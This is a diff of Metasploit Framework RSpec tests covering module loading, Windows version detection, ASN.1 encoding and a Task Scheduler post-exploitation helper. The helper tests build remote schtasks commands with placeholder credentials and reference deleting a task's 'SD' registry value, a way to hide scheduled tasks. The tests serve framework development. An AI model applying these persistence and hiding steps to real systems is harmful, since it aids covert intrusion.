behavior' do + allow(module_manager).to receive(:on_module_load) + + expect(subject).to receive(:read_module_content_from_path).with(module_path).and_return(module_content) + + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + end + + it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do + allow(subject).to receive(:read_module_content_from_path).and_return(malformed_module_content) + allow(module_manager).to receive(:on_module_load) + + # if the module eval error includes the module_path then the module_path was passed along correctly + expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/, error: an_instance_of(NoMethodError)) + expect(subject.load_module(parent_path, type, module_reference_name, :reload => true, cached_metadata: cached_metadata)).to be_falsey + end + + context 'with empty module content' do + before(:example) do + allow(subject).to receive(:read_module_content_from_path).with(module_path).and_return('') + end + + it 'should return false' do + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_falsey + end + + it 'should not attempt to make a new namespace_module' do + expect(subject).not_to receive(:namespace_module_transaction) + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_falsey + end + end + + context 'with errors from namespace_module_eval_with_lexical_scope' do + before(:example) do + @namespace_module = double('Namespace Module', :'parent_path=' => nil) + module_content = double('Module Content', empty?: false) + + allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) + allow(subject).to receive(:read_module_content_from_path).and_return(module_content) + end + + context 'with Interrupt' do + it 'should re-raise' do + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(Interrupt) + + expect { + subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata) + }.to raise_error(Interrupt) + end + end + + context 'with other Exception' do + let(:backtrace) do + [ + 'Backtrace Line 1', + 'Backtrace Line 2' + ] + end + + let(:error) do + error_class.new(error_message) + end + + let(:error_class) do + ArgumentError + end + + let(:error_message) do + 'This is rspec. Your argument is invalid.' + end + + before(:example) do + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(error) + + @module_load_error_by_path = {} + allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) + + allow(error).to receive(:backtrace).and_return(backtrace) + end + + it 'should record the load error using the original error' do + expect(subject).to receive(:load_error).with(module_path, error) + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_falsey + end + + it 'should return false' do + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_falsey + end + end + end + + context 'without module_eval errors' do + before(:example) do + @namespace_module = double('Namespace Module') + allow(@namespace_module).to receive(:parent_path=) + allow(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) + allow(@namespace_module).to receive(:const_defined?).with('Metasploit3', false).and_return(false) + allow(@namespace_module).to receive(:const_defined?).with('Metasploit4', false).and_return(false) + allow(@namespace_module).to receive(:const_defined?).with('MetasploitModule', false).and_return(true) + allow(@namespace_module).to receive(:const_get).with('Metasploit3', false).and_return(false) + allow(@namespace_module).to receive(:const_get).with('Metasploit4', false).and_return(false) + allow(@namespace_module).to receive(:const_get).with('MetasploitModule', false).and_return(true) + allow(@namespace_module).to receive(:module_load_warnings) + + allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) + + allow(subject).to receive(:read_module_content_from_path).with(module_path).and_return(module_content) + + @module_load_error_by_path = {} + allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) + allow(module_manager).to receive(:on_module_load) + # remove the mocked namespace_module since happy-path/real loading is occurring in this context + allow(subject).to receive(:namespace_module_transaction).and_call_original + end + + it 'should log load information' do + expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + end + + it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do + original_load_error = "Back in my day this module didn't load" + module_manager.module_load_error_by_path[module_path] = original_load_error + + expect(module_manager.module_load_error_by_path[module_path]).to eq original_load_error + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + expect(module_manager.module_load_error_by_path[module_path]).to be_nil + end + + it 'should return true' do + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + end + + it 'should call module_manager.on_module_load' do + expect(module_manager).to receive(:on_module_load) + expect(subject.load_module(parent_path, type, module_reference_name, cached_metadata: cached_metadata)).to be_truthy + end + + context 'with :recalculate_by_type' do + it 'should set the type to be recalculated' do + recalculate_by_type = {} + + expect( + subject.load_module( + parent_path, + type, + module_reference_name, + :recalculate_by_type => recalculate_by_type, + cached_metadata: cached_metadata + ) + ).to eq true + expect(recalculate_by_type[type]).to be_truthy + end + end + + context 'with :count_by_type' do + it 'should set the count to 1 if it does not exist' do + count_by_type = {} + + expect(count_by_type.has_key?(type)).to be_falsey + expect( + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type, + cached_metadata: cached_metadata + ) + ).to eq true + expect(count_by_type[type]).to eq 1 + end + + it 'should increment the count if it does exist' do + original_count = 1 + count_by_type = { + type => original_count + } + + expect( + subject.load_module( + parent_path, + type, + module_reference_name, + :count_by_type => count_by_type, + cached_metadata: cached_metadata + ) + ).to eq true + + incremented_count = original_count + 1 + expect(count_by_type[type]).to eq incremented_count + end + end + end + end +end + + RSpec.describe Msf::Modules::Loader::Base do include_context 'Msf::Modules::Loader::Base' @@ -31,8 +316,12 @@ class MetasploitModule < Msf::Auxiliary "#{type}/#{module_reference_name}" end + let(:module_rel_path) do + 'auxiliary/rspec/mock.rb' + end + let(:module_path) do - parent_pathname.join('auxiliary', 'rspec', 'mock.rb').to_s + parent_pathname.join(module_rel_path).to_s end let(:module_reference_name) do @@ -244,7 +533,7 @@ module #{namespace_module_names[2]} end end - context '#load_module' do + describe '#load_module' do let(:parent_path) do parent_pathname.to_s end @@ -254,285 +543,44 @@ module #{namespace_module_names[2]} end before(:example) do - allow(subject).to receive(:module_path).and_return(module_path) + allow(subject).to receive(:read_module_content_from_path) end - it 'should call file_changed? with the module_path' do - expect(module_manager).to receive(:file_changed?).with(module_path).and_return(false) + context 'with no metadata cache' do - subject.load_module(parent_path, type, module_reference_name, :force => false) - end - - context 'without file changed' do before(:example) do - allow(module_manager).to receive(:file_changed?).and_return(false) + allow(subject).to receive(:module_path).and_return(module_path) end - it 'should return false if :force is false' do - expect(subject.load_module(parent_path, type, module_reference_name, :force => false)).to be_falsey - end + let(:cached_metadata) { nil } - it 'should not call #read_module_content' do - expect(subject).not_to receive(:read_module_content) - subject.load_module(parent_path, type, module_reference_name) - end + include_examples 'base#load_module' end - context 'with file changed' do - include_context 'Metasploit::Framework::Spec::Constants cleaner' - - let(:module_full_name) do - File.join('auxiliary', module_reference_name) - end - - let(:namespace_module) do - Msf::Modules.const_get(relative_name) - end - - let(:relative_name) do - 'Auxiliary__Rspec__Mock' - end - - before(:example) do - # capture in a local so that instance_eval can access it - relative_name = self.relative_name - - # remove module from previous examples so reload error aren't logged - if Msf::Modules.const_defined? relative_name - Msf::Modules.instance_eval do - remove_const relative_name - end - end - - # create an namespace module that can be restored - module Msf - module Modules - module Auxiliary__Rspec__Mock - class MetasploitModule < Msf::Auxiliary - - end - end - end - end - - @original_namespace_module = Msf::Modules::Auxiliary__Rspec__Mock - - module_set = double('Module Set') - allow(module_set).to receive(:delete).with(module_reference_name) - - allow(module_manager).to receive(:delete).with(module_reference_name) - allow(module_manager).to receive(:file_changed?).with(module_path).and_return(true) - allow(module_manager).to receive(:module_set).with(type).and_return(module_set) + context 'with metadata cache' do + + let(:metadata_hash) do + { + 'name' => 'Rspec mock', + 'fullname' => module_full_name, + 'rank' => 300, + 'disclosure_date' => nil, + 'type' => type, + 'author' => ['rspec'], + 'description' => 'Mock rspec module', + 'references' => ['CVE-1234-1234'], + 'mod_time' => '2023-01-24 14:30:39 +0000', + 'path' => "/modules/#{module_rel_path}", + 'is_install_path' => true, + 'ref_name' => module_reference_name + } end - it 'should call #namespace_module_transaction with the module full name and :reload => true' do - allow(subject).to receive(:read_module_content).and_return(module_content) - - expect(subject).to receive(:namespace_module_transaction).with(module_full_name, hash_including(:reload => true)) - - subject.load_module(parent_path, type, module_reference_name) + let(:cached_metadata) do + Msf::Modules::Metadata::Obj.from_hash(metadata_hash) end - it 'should set the parent_path on the namespace_module to match the parent_path passed to #load_module' do - allow(module_manager).to receive(:on_module_load) - - allow(subject).to receive(:read_module_content).and_return(module_content) - - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - - expect(namespace_module.parent_path).to eq parent_path - end - - it 'should call #read_module_content to get the module content so that #read_module_content can be overridden to change loading behavior' do - allow(module_manager).to receive(:on_module_load) - - expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - end - - it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do - allow(subject).to receive(:read_module_content).and_return(malformed_module_content) - allow(module_manager).to receive(:on_module_load) - - # if the module eval error includes the module_path then the module_path was passed along correctly - expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/, error: an_instance_of(NoMethodError)) - expect(subject.load_module(parent_path, type, module_reference_name, :reload => true)).to be_falsey - end - - context 'with empty module content' do - before(:example) do - allow(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return('') - end - - it 'should return false' do - expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey - end - - it 'should not attempt to make a new namespace_module' do - expect(subject).not_to receive(:namespace_module_transaction) - expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey - end - end - - context 'with errors from namespace_module_eval_with_lexical_scope' do - before(:example) do - @namespace_module = double('Namespace Module', :'parent_path=' => nil) - module_content = double('Module Content', empty?: false) - - allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) - allow(subject).to receive(:read_module_content).and_return(module_content) - end - - context 'with Interrupt' do - it 'should re-raise' do - allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(Interrupt) - - expect { - subject.load_module(parent_path, type, module_reference_name) - }.to raise_error(Interrupt) - end - end - - context 'with other Exception' do - let(:backtrace) do - [ - 'Backtrace Line 1', - 'Backtrace Line 2' - ] - end - - let(:error) do - error_class.new(error_message) - end - - let(:error_class) do - ArgumentError - end - - let(:error_message) do - 'This is rspec. Your argument is invalid.' - end - - before(:example) do - allow(@namespace_module).to receive(:module_eval_with_lexical_scope).and_raise(error) - - @module_load_error_by_path = {} - allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) - - allow(error).to receive(:backtrace).and_return(backtrace) - end - - it 'should record the load error using the original error' do - expect(subject).to receive(:load_error).with(module_path, error) - expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey - end - - it 'should return false' do - expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey - end - end - end - - context 'without module_eval errors' do - before(:example) do - @namespace_module = double('Namespace Module') - allow(@namespace_module).to receive(:parent_path=) - allow(@namespace_module).to receive(:module_eval_with_lexical_scope).with(module_content, module_path) - allow(@namespace_module).to receive(:const_defined?).with('Metasploit3', false).and_return(false) - allow(@namespace_module).to receive(:const_defined?).with('Metasploit4', false).and_return(false) - allow(@namespace_module).to receive(:const_defined?).with('MetasploitModule', false).and_return(true) - allow(@namespace_module).to receive(:const_get).with('Metasploit3', false).and_return(false) - allow(@namespace_module).to receive(:const_get).with('Metasploit4', false).and_return(false) - allow(@namespace_module).to receive(:const_get).with('MetasploitModule', false).and_return(true) - allow(@namespace_module).to receive(:module_load_warnings) - - allow(subject).to receive(:namespace_module_transaction).and_yield(@namespace_module) - - allow(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - - @module_load_error_by_path = {} - allow(module_manager).to receive(:module_load_error_by_path).and_return(@module_load_error_by_path) - allow(module_manager).to receive(:on_module_load) - # remove the mocked namespace_module since happy-path/real loading is occurring in this context - allow(subject).to receive(:namespace_module_transaction).and_call_original - end - - it 'should log load information' do - expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - end - - it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do - original_load_error = "Back in my day this module didn't load" - module_manager.module_load_error_by_path[module_path] = original_load_error - - expect(module_manager.module_load_error_by_path[module_path]).to eq original_load_error - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - expect(module_manager.module_load_error_by_path[module_path]).to be_nil - end - - it 'should return true' do - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - end - - it 'should call module_manager.on_module_load' do - expect(module_manager).to receive(:on_module_load) - expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy - end - - context 'with :recalculate_by_type' do - it 'should set the type to be recalculated' do - recalculate_by_type = {} - - expect( - subject.load_module( - parent_path, - type, - module_reference_name, - :recalculate_by_type => recalculate_by_type - ) - ).to eq true - expect(recalculate_by_type[type]).to be_truthy - end - end - - context 'with :count_by_type' do - it 'should set the count to 1 if it does not exist' do - count_by_type = {} - - expect(count_by_type.has_key?(type)).to be_falsey - expect( - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ) - ).to eq true - expect(count_by_type[type]).to eq 1 - end - - it 'should increment the count if it does exist' do - original_count = 1 - count_by_type = { - type => original_count - } - - expect( - subject.load_module( - parent_path, - type, - module_reference_name, - :count_by_type => count_by_type - ) - ).to eq true - - incremented_count = original_count + 1 - expect(count_by_type[type]).to eq incremented_count - end - end - end + include_examples 'base#load_module' end end @@ -1018,12 +1066,12 @@ class Metasploit end end - context '#read_module_content' do + context '#read_module_content_from_path' do it 'should be abstract' do type = Msf::MODULE_AUX expect { - subject.send(:read_module_content, parent_pathname.to_s, type, module_reference_name) + subject.send(:read_module_content_from_path, module_path) }.to raise_error(NotImplementedError) end end diff --git a/spec/lib/msf/core/post/windows/task_scheduler_spec.rb b/spec/lib/msf/core/post/windows/task_scheduler_spec.rb index 578f9dba0ba5a..eb3e87ed1d1f3 100644 --- a/spec/lib/msf/core/post/windows/task_scheduler_spec.rb +++ b/spec/lib/msf/core/post/windows/task_scheduler_spec.rb @@ -1,7 +1,6 @@ require 'spec_helper' RSpec.describe Msf::Post::Windows::TaskScheduler do - let(:task_name) { Rex::Text.rand_text_alpha(rand(8)) } let(:datastore) do { @@ -145,14 +144,13 @@ def create_exploit(info = {}) context 'on older Windows' do it 'executes the expected command to query a task' do subject.instance_variable_set(:@old_os, true) - cmd = "schtasks /query /v /fo csv" + cmd = 'schtasks /query /v /fo csv' expect(subject).to receive(:schtasks_exec).with(cmd, with_result: true) subject.task_query(task_name) end end end - # # Private methods # @@ -160,7 +158,7 @@ def create_exploit(info = {}) describe '#check_compatibility' do context 'with Windows XP SP2' do before :example do - allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows XP (5.1 Build 2600, Service Pack 2)." } ) + allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(5, 1, 2600, 2, Msf::WindowsVersion::VER_NT_WORKSTATION)) end it 'sets `@old_schtasks` and `@old_os` to true' do subject.send(:check_compatibility) @@ -171,7 +169,7 @@ def create_exploit(info = {}) context 'with Windows Server 2003 SP2' do before :example do - allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows .NET Server (5.2 Build 3790, Service Pack 2)." } ) + allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(5, 2, 3790, 2, Msf::WindowsVersion::VER_NT_SERVER)) end it 'sets `@old_schtasks` to false and `@old_os` to true' do subject.send(:check_compatibility) @@ -182,7 +180,7 @@ def create_exploit(info = {}) context 'with Windows Server 2016' do before :example do - allow(subject).to receive(:sysinfo).and_return( { 'OS' => "Windows 2016+ (10.0 Build 14393)." } ) + allow(subject).to receive(:get_version_info).and_return(Msf::WindowsVersion.new(10, 0, 14393, 0, Msf::WindowsVersion::VER_NT_SERVER)) end it 'sets `@old_schtasks` and `@old_os` to false' do subject.send(:check_compatibility) @@ -195,7 +193,7 @@ def create_exploit(info = {}) describe '#log_and_print' do let(:msg) { double('log message') } before :example do - mock_methods = [ :vprint_status, :vprint_good, :vprint_error, :dlog, :ilog, :wlog, :elog ] + mock_methods = %i[vprint_status vprint_good vprint_error dlog ilog wlog elog] mock_methods.each { |meth| allow(subject).to receive(meth) } end @@ -249,7 +247,7 @@ def create_exploit(info = {}) it 'returns the expected command string' do cmd_in = %w[/test /flag1 value1] cmd_out = "schtasks #{cmd_in.join(' ')}" - expect(subject.send(:get_schtasks_cmd_string, cmd_in)). to eq(cmd_out) + expect(subject.send(:get_schtasks_cmd_string, cmd_in)).to eq(cmd_out) end end @@ -264,7 +262,7 @@ def create_exploit(info = {}) it 'returns the expected command string' do cmd_in = %w[/test /flag1 value1] cmd_out = "schtasks #{cmd_in.join(' ')} /s 1.2.3.4 /u msfuser /p msfpasswd" - expect(subject.send(:get_schtasks_cmd_string, cmd_in)). to eq(cmd_out) + expect(subject.send(:get_schtasks_cmd_string, cmd_in)).to eq(cmd_out) end end @@ -279,12 +277,11 @@ def create_exploit(info = {}) it 'returns the expected command string' do cmd_in = %w[/test /flag1 value1] cmd_out = "schtasks #{cmd_in.join(' ')} /s 1.2.3.4 /u msfuser /p msfpasswd" - expect(subject.send(:get_schtasks_cmd_string, cmd_in, opts)). to eq(cmd_out) + expect(subject.send(:get_schtasks_cmd_string, cmd_in, opts)).to eq(cmd_out) end end end - describe '#schtasks_exec' do let(:result) { [ Rex::Text.rand_text_alpha(rand(8)), true ] } let(:cmd) { double('Command') } @@ -371,7 +368,7 @@ def create_exploit(info = {}) describe '#task_info_field' do let(:task_name) { 'fzuZbSwfXc' } - let(:task_info) { + let(:task_info) do info = '"HostName","TaskName","Next Run Time","Status","Logon Mode","Last Run Time","Last Result","Author",'\ '"Task To Run","Start In","Comment","Scheduled Task State","Idle Time","Power Management","Run As User",'\ '"Delete Task If Not Rescheduled","Stop Task If Runs X Hours and X Mins","Schedule","Schedule Type",'\ @@ -384,7 +381,7 @@ def create_exploit(info = {}) 'Batteries","SYSTEM","Disabled","72:00:00","Scheduling data is not available in this format.","One Time '\ 'Only","12:00:00 AM","5/10/2020","N/A","N/A","N/A","Disabled","Disabled","Disabled","Disabled"' info - } + end let(:key) { 'Task To Run' } let(:result) { 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\DGvtFiFtnZQVmtY" /v "SD"' } @@ -566,7 +563,7 @@ def create_exploit(info = {}) context 'when the `ScheduleRemoteSystem` datastore option is set' do before :example do - datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } ) + datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' }) end it 'executes the expected command' do @@ -581,7 +578,7 @@ def create_exploit(info = {}) context 'when the `:remote_system` hash option is passed as argument' do it 'executes the expected command' do expect(subject).to receive(:run_one_off_task).with(cmd, check_success: true) - subject.send(:reg_key_value_exists?, reg_key, reg_value, {remote_system: '1.2.3.4'}) + subject.send(:reg_key_value_exists?, reg_key, reg_value, { remote_system: '1.2.3.4' }) end end end @@ -645,7 +642,7 @@ def create_exploit(info = {}) context 'when the `ScheduleRemoteSystem` datastore option is set' do it 'executes the expected command' do - datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } ) + datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' }) expect(subject).to receive(:run_one_off_task).with(cmd) subject.send(:delete_reg_key_value, reg_key, reg_value) end @@ -654,7 +651,7 @@ def create_exploit(info = {}) context 'when the `:remote_system` hash option is passed as argument' do it 'executes the expected command' do expect(subject).to receive(:run_one_off_task).with(cmd) - subject.send(:delete_reg_key_value, reg_key, reg_value, {remote_system: '1.2.3.4'}) + subject.send(:delete_reg_key_value, reg_key, reg_value, { remote_system: '1.2.3.4' }) end end end @@ -697,14 +694,14 @@ def create_exploit(info = {}) context 'when the :override option is set to false' do it 'does not override it' do expect(subject).to_not receive(:cmd_exec_with_result) - subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {override: false}) + subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { override: false }) end end context 'when the :override option is set to true' do it 'overrides it' do expect(subject).to receive(:cmd_exec_with_result).and_return(['', true]) - subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {override: true}) + subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { override: true }) end end end @@ -738,7 +735,7 @@ def create_exploit(info = {}) context 'when the `ScheduleRemoteSystem` datastore option is set' do it 'executes the expected command' do - datastore.merge!( { 'ScheduleRemoteSystem' => '1.2.3.4' } ) + datastore.merge!({ 'ScheduleRemoteSystem' => '1.2.3.4' }) expect(subject).to receive(:run_one_off_task).with(cmd) subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type) end @@ -747,10 +744,9 @@ def create_exploit(info = {}) context 'when the `:remote_system` hash option is passed as argument' do it 'executes the expected command' do expect(subject).to receive(:run_one_off_task).with(cmd) - subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, {remote_system: '1.2.3.4'}) + subject.send(:add_reg_key_value, reg_key, reg_value, reg_data, reg_type, { remote_system: '1.2.3.4' }) end end end end end - diff --git a/spec/lib/msf/core/post/windows/version_spec.rb b/spec/lib/msf/core/post/windows/version_spec.rb new file mode 100644 index 0000000000000..963543be44f2c --- /dev/null +++ b/spec/lib/msf/core/post/windows/version_spec.rb @@ -0,0 +1,116 @@ +# -*- coding: binary -*- +require 'spec_helper' + +RSpec.describe Msf::Post::Windows::Version do + + subject do + context_described_class = described_class + + klass = Class.new(Msf::Post) do + include context_described_class + end + + klass.new + end + + def respond_to_reg_query(subject, key, value, result, type) + command = "cmd.exe /c reg query \"#{key}\" /v \"#{value}\"" + output = "\r\n#{key}\r\n #{value} #{type} #{result}\r\n" + allow(subject).to receive(:cmd_exec).with(command) { output } + end + + let(:current_version_key) do + 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion' + end + + let(:current_build_number) do + 'CurrentBuildNumber' + end + + let(:current_version) do + 'CurrentVersion' + end + + let(:service_pack) do + 'CSDVersion' + end + + let(:minor_version) do + 'CurrentMinorVersionNumber' + end + + let(:major_version) do + 'CurrentMajorVersionNumber' + end + + let(:product_type_key) do + 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions' + end + + let(:product_type) do + 'ProductType' + end + + context "#calculates_version_num" do + it "XP SP2" do + respond_to_reg_query(subject, current_version_key, current_build_number, '2600', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, current_version, '5.1', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, service_pack, 'Service Pack 2', 'REG_SZ') + respond_to_reg_query(subject, product_type_key, product_type, 'WinNT', 'REG_SZ') + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::XP_SP2) + expect(version.windows_server?).to eq(false) + expect(version.domain_controller?).to eq(false) + end + + it "2003 SP1" do + respond_to_reg_query(subject, current_version_key, current_build_number, '3790', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, current_version, '5.2', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, service_pack, 'Service Pack 1', 'REG_SZ') + respond_to_reg_query(subject, product_type_key, product_type, 'ServerNT', 'REG_SZ') + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Server2003_SP1) + expect(version.windows_server?).to eq(true) + expect(version.domain_controller?).to eq(false) + end + + it "Win10" do + respond_to_reg_query(subject, current_version_key, current_build_number, '19045', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, current_version, '6.3', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, major_version, '0xa', 'REG_DWORD') + respond_to_reg_query(subject, current_version_key, minor_version, '0x0', 'REG_DWORD') + respond_to_reg_query(subject, product_type_key, product_type, 'WinNT', 'REG_SZ') + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Win10_22H2) + expect(version.windows_server?).to eq(false) + expect(version.domain_controller?).to eq(false) + end + + it "Server 2022" do + respond_to_reg_query(subject, current_version_key, current_build_number, '20348', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, current_version, '6.3', 'REG_SZ') + respond_to_reg_query(subject, current_version_key, major_version, '0xa', 'REG_DWORD') + respond_to_reg_query(subject, current_version_key, minor_version, '0x0', 'REG_DWORD') + respond_to_reg_query(subject, product_type_key, product_type, 'LanmanNT', 'REG_SZ') + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Server2022) + expect(version.windows_server?).to eq(true) + expect(version.domain_controller?).to eq(true) + end + + it "Windows 2000 German" do + allow(subject).to receive(:cmd_exec).with("cmd.exe /c reg query \"#{current_version_key}\" /v \"#{current_build_number}\"") { "Der Befehl \"reg\" ist entweder falsch geschrieben oder\r\nkonnte nicht gefunden werden." } + allow(subject).to receive(:cmd_exec).with("ver") { "Microsoft Windows 2000 [Version 5.00.2195]" } + allow(subject).to receive_message_chain('session.type').and_return('shell') + version = subject.get_version_info + expect(version.build_number).to eq(Msf::WindowsVersion::Win2000) + expect(version.windows_server?).to eq(false) + expect(version.domain_controller?).to eq(false) + end + + end +end diff --git a/spec/lib/msf/core/windows_version_spec.rb b/spec/lib/msf/core/windows_version_spec.rb new file mode 100644 index 0000000000000..7cb7dc99b1e11 --- /dev/null +++ b/spec/lib/msf/core/windows_version_spec.rb @@ -0,0 +1,29 @@ +require 'spec_helper' + +RSpec.describe Msf::WindowsVersion do + + it 'Recognisises a major version' do + subject = described_class.new(6, 0, 6000, 0, Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Windows Vista') + end + + it 'Recognisises Windows Server' do + subject = described_class.new(6, 0, 6000, 0, Msf::WindowsVersion::VER_NT_SERVER) + expect(subject.to_s).to eq('Windows Server 2008') + end + + it 'Adds build suffix to Windows 10' do + subject = described_class.new(10,0,18362,0,Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Windows 10+ Build 18362') + end + + it 'Adds service pack suffix' do + subject = described_class.new(5,1,2600,2,Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Windows XP Service Pack 2') + end + + it 'Outputs unknown version' do + subject = described_class.new(1,2,3000,0,Msf::WindowsVersion::VER_NT_WORKSTATION) + expect(subject.to_s).to eq('Unknown Windows version: 1.2.3000') + end +end diff --git a/spec/lib/rex/proto/crypto_asn1_spec.rb b/spec/lib/rex/proto/crypto_asn1_spec.rb new file mode 100644 index 0000000000000..7c69dcee8e1c4 --- /dev/null +++ b/spec/lib/rex/proto/crypto_asn1_spec.rb @@ -0,0 +1,41 @@ +# -*- coding:binary -*- +require 'spec_helper' + +RSpec.describe Rex::Proto::CryptoAsn1::NtdsCaSecurityExt do + let(:encoded) do + "\x30\x40\xa0\x3e\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x19\x02\x01\xa0\x30" + + "\x04\x2e\x53\x2d\x31\x2d\x35\x2d\x32\x31\x2d\x33\x34\x30\x32\x35\x38" + + "\x37\x32\x38\x39\x2d\x31\x34\x38\x38\x37\x39\x38\x35\x33\x32\x2d\x33" + + "\x36\x31\x38\x32\x39\x36\x39\x39\x33\x2d\x31\x31\x30\x35" + end + + describe '.parse' do + let(:decoded) { described_class.parse(encoded) } + + it 'decodes OtherName correctly' do + expect(decoded[:OtherName]).to be_a RASN1::Model + end + + it 'decodes type_id correctly' do + type_id = decoded[:OtherName][:type_id] + expect(type_id).to be_a RASN1::Types::ObjectId + expect(type_id.value).to eq '1.3.6.1.4.1.311.25.2.1' + end + + it 'decodes value correctly' do + value = decoded[:OtherName][:value] + expect(value).to be_a RASN1::Types::OctetString + expect(value.value).to eq 'S-1-5-21-3402587289-1488798532-3618296993-1105' + end + end + + describe '#to_der' do + it 'encodes correctly' do + instance = described_class.new(OtherName: { + type_id: '1.3.6.1.4.1.311.25.2.1', + value: 'S-1-5-21-3402587289-1488798532-3618296993-1105' + }) + expect(instance.to_der).to eq encoded + end + end +end diff --git a/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb b/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb index 9af971e0a719c..5e4354507e8fb 100644 --- a/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb +++ b/spec/lib/rex/proto/kerberos/credential_cache/krb5_ccache_presenter_spec.rb @@ -194,8 +194,42 @@ User ID: 500 Primary Group ID: 513 User Flags: 0 + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... 